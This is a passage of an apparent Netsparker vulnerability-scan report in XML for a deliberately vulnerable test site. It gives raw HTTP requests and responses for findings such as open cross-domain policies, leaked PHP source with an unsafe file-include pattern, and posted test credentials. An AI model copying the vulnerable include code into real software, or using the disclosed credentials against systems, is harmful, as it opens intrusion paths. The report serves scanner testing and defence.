			<li><a href="../process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">
								<h1 class="title"><a href="#">Login Area</a></h1>
					<p>
                    Enter your credentials (admin / admin123456)
    <br/>
    <form method="POST" action="control.php">
      Username: <input type="text" name="username"/>
      <br/>
      Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
      <br/>
      <br/>
      <input type="submit" value="SUBMIT">
    </form>
                    </p>

				<div style="clear: both;">&nbsp;</div>
				<div class="entry">


				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="../artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="../artist.php?id=test">Artist Search</a></li>
						<li><a href="../nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
				<li>

			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	<!-- end #page -->
</div>
v
<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A5</OWASP>
						<WASC>09</WASC>
						<CWE>352</CWE>
						<CAPEC>62</CAPEC>
						<PCI>6.5.5</PCI>
						<PCI2>6.5.9</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/crossdomain.xml</url>
				<type>OpenCrossDomainXml</type>
				<severity>Medium</severity>
				<certainty>100</certainty>
		
				<rawrequest><![CDATA[GET /crossdomain.xml HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:38 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
ETag: "30000000199e4-13b-498cc50ab1d37"
Accept-Ranges: bytes
X-Pad: avoid browser bug
Content-Length: 315
Content-Type: application/xml
Last-Modified: Sat, 01 Jan 2011 17:33:20 GMT

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
  <allow-access-from domain="*" />
	<site-control permitted-cross-domain-policies="master-only"/>
</cross-domain-policy>]]></rawresponse>
				<extrainformation>
						<info name="Policy Rules"><![CDATA[<allow-access-from domain="*" />]]></info>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>15</WASC>
						<CWE>16</CWE>
						<CAPEC></CAPEC>
						<PCI></PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/clientaccesspolicy.xml</url>
				<type>OpenClientAccessPolicy</type>
				<severity>Medium</severity>
				<certainty>100</certainty>
		
				<rawrequest><![CDATA[GET /clientaccesspolicy.xml HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:41 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
ETag: "30000000199e2-118-498e0196a2efd"
Accept-Ranges: bytes
X-Pad: avoid browser bug
Content-Length: 280
Content-Type: application/xml
Last-Modified: Sun, 02 Jan 2011 17:09:33 GMT

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
	<cross-domain-access>
		<allow-from http-request-headers="*">
			<domain uri="*"/>
		</allow-from>
		<grant-to>
			<resource path="/" include-subpaths="true"/>
		</grant-to>
	</cross-domain-access>
</access-policy>]]></rawresponse>
				<extrainformation>
						<info name="Policy Rules"><![CDATA[*]]></info>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>15</WASC>
						<CWE>16</CWE>
						<CAPEC></CAPEC>
						<PCI></PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/process.bak?nsextt=NSFTW</url>
				<type>PhpSourceCodeDisclosure</type>
				<severity>Medium</severity>
				<certainty>75</certainty>
		
				<rawrequest><![CDATA[GET /process.bak?nsextt=NSFTW HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.bak
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:28:31 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
ETag: "30000000199eb-363-481496ef4391c"
Accept-Ranges: bytes
Content-Length: 867
Content-Type: text/plain
Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT

<?php
require("auth.php");
ini_set("display_errors","0");

//global configuration area
$globals["title"] = "Netsparker Test Web Site -  PHP";
function EndsWith($FullStr, $EndStr)
{
    // Get the length of the end string
    $StrLen = strlen($EndStr);
    // Look at the end of FullStr for the substring the size of EndStr
    $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
    // If it matches, it does end with EndStr
    return $FullStrEnd == $EndStr;
}
?>

<?php include "Internals/header.php"?>
<body>
<div id="wrapper">
        <?php include "Internals/upmenu.php"?>
	    <?php
            $file = $_REQUEST["file"];
            if(EndsWith($file,".nsp"))
                include $_REQUEST["file"];
        ?>
	<!-- end #page -->
</div>

<?php include "Internals/footer.php"?>
	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>13</WASC>
						<CWE>540</CWE>
						<CAPEC>118</CAPEC>
						<PCI>6.5.6</PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/auth/login.php</url>
				<type>AutoCompleteEnabled</type>
				<severity>Low</severity>
				<certainty>100</certainty>
		
				<rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/auth/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Date: Fri, 29 Nov 2013 11:26:26 GMT
Pragma: no-cache
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
Content-Length: 3108
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="../hello.php?name=Visitor">Hello</a></li>
			<li><a href="../products.php?pro=url">Products</a></li>
			<li><a href="../process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">
								<h1 class="title"><a href="#">Login Area</a></h1>
					<p>
                    Enter your credentials (admin / admin123456)
    <br/>
    <form method="POST" action="control.php">
      Username: <input type="text" name="username"/>
      <br/>
      Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
      <br/>
      <br/>
      <input type="submit" value="SUBMIT">
    </form>
                    </p>

				<div style="clear: both;">&nbsp;</div>
				<div class="entry">


				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="../artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="../artist.php?id=test">Artist Search</a></li>
						<li><a href="../nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
				<li>

			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	<!-- end #page -->
</div>
v
<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
						<info name="Identified Field Name"><![CDATA[password]]></info>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>15</WASC>
						<CWE>16</CWE>
						<CAPEC></CAPEC>
						<PCI></PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/auth/login.php</url>
				<type>CookieNotMarkedAsHttpOnly</type>
				<severity>Low</severity>
				<certainty>100</certainty>
		
				<rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/auth/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Date: Fri, 29 Nov 2013 11:26:26 GMT
Pragma: no-cache
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
Content-Length: 3108
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="../hello.php?name=Visitor">Hello</a></li>
			<li><a href="../products.php?pro=url">Products</a></li>
			<li><a href="../process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">
								<h1 class="title"><a href="#">Login Area</a></h1>
					<p>
                    Enter your credentials (admin / admin123456)
    <br/>
    <form method="POST" action="control.php">
      Username: <input type="text" name="username"/>
      <br/>
      Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
      <br/>
      <br/>
      <input type="submit" value="SUBMIT">
    </form>
                    </p>

				<div style="clear: both;">&nbsp;</div>
				<div class="entry">


				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="../artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="../artist.php?id=test">Artist Search</a></li>
						<li><a href="../nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
				<li>

			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	<!-- end #page -->
</div>
v
<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
						<info name="Identified Cookie"><![CDATA[PHPSESSID]]></info>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>15</WASC>
						<CWE>16</CWE>
						<CAPEC>107</CAPEC>
						<PCI></PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/</url>
				<type>ApacheVersionDisclosure</type>
				<severity>Low</severity>
				<certainty>90</certainty>
		
				<rawrequest><![CDATA[GET / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Fri, 29 Nov 2013 11:25:33 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Keep-Alive: timeout=5, max=100
Content-Length: 144
Content-Type: text/html

<html>
<HEAD>
<SCRIPT language="JavaScript">
<!--
window.location="process.php?file=Generics/index.nsp";
//-->
</SCRIPT>
</HEAD>
</html>]]></rawresponse>
				<extrainformation>
						<info name="Extracted Version"><![CDATA[2.2.8]]></info>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>45</WASC>
						<CWE>205</CWE>
						<CAPEC>170</CAPEC>
						<PCI></PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/</url>
				<type>PhpVersionDisclosure</type>
				<severity>Low</severity>
				<certainty>90</certainty>
		
				<rawrequest><![CDATA[GET / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Fri, 29 Nov 2013 11:25:33 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Keep-Alive: timeout=5, max=100
Content-Length: 144
Content-Type: text/html

<html>
<HEAD>
<SCRIPT language="JavaScript">
<!--
window.location="process.php?file=Generics/index.nsp";
//-->
</SCRIPT>
</HEAD>
</html>]]></rawresponse>
				<extrainformation>
						<info name="Extracted Version"><![CDATA[5.2.6]]></info>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>45</WASC>
						<CWE>205</CWE>
						<CAPEC>170</CAPEC>
						<PCI></PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
				<type>ProgrammingErrorMessages</type>
				<severity>Low</severity>
				<certainty>90</certainty>
		
				<rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:51 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3327
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	    
<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">

				<div class="entry">
				<h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
    	<p>This is a test and demonstration site for Netsparker , Next Generation Web
            Application Security Scanner.
            <p>
            This testing web site contains a lot of vulnerabilities on different vulnerability classes.
 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
            </p>

				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	
	<br />
<b>Warning</b>:  mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b><br />
asd	<!-- process.php load pages from path of the website. -->
	<!-- FIXME: File / directory permissions -->
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
						<info name="Identified Error Message"><![CDATA[<b>Warning</b>:  mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b>]]></info>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>13</WASC>
						<CWE>210</CWE>
						<CAPEC>118</CAPEC>
						<PCI>6.5.6</PCI>
						<PCI2>6.5.5</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/.svn/</url>
				<type>OptionsMethodEnabled</type>
				<severity>Low</severity>
				<certainty>100</certainty>
		
				<rawrequest><![CDATA[OPTIONS /.svn/ HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:53 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: httpd/unix-directory

]]></rawresponse>
				<extrainformation>
						<info name="Allowed methods"><![CDATA[GET,HEAD,POST,OPTIONS,TRACE]]></info>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>14</WASC>
						<CWE>16</CWE>
						<CAPEC>107</CAPEC>
						<PCI></PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
				<type>CsrfDetected</type>
				<severity>Low</severity>
				<certainty>90</certainty>
		
				<rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:51 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3327
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	    
<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">

				<div class="entry">
				<h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
    	<p>This is a test and demonstration site for Netsparker , Next Generation Web
            Application Security Scanner.
            <p>
            This testing web site contains a lot of vulnerabilities on different vulnerability classes.
 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
            </p>

				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	
	<br />
<b>Warning</b>:  mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b><br />
asd	<!-- process.php load pages from path of the website. -->
	<!-- FIXME: File / directory permissions -->
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A5</OWASP>
						<WASC>09</WASC>
						<CWE>352</CWE>
						<CAPEC>62</CAPEC>
						<PCI>6.5.5</PCI>
						<PCI2>6.5.9</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/process.php?file=Generics/contact.nsp</url>
				<type>InsecureFrameExternal</type>
				<severity>Low</severity>
				<certainty>100</certainty>
		
				<rawrequest><![CDATA[GET /process.php?file=Generics/contact.nsp HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:52 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3363
Content-Type: text/html


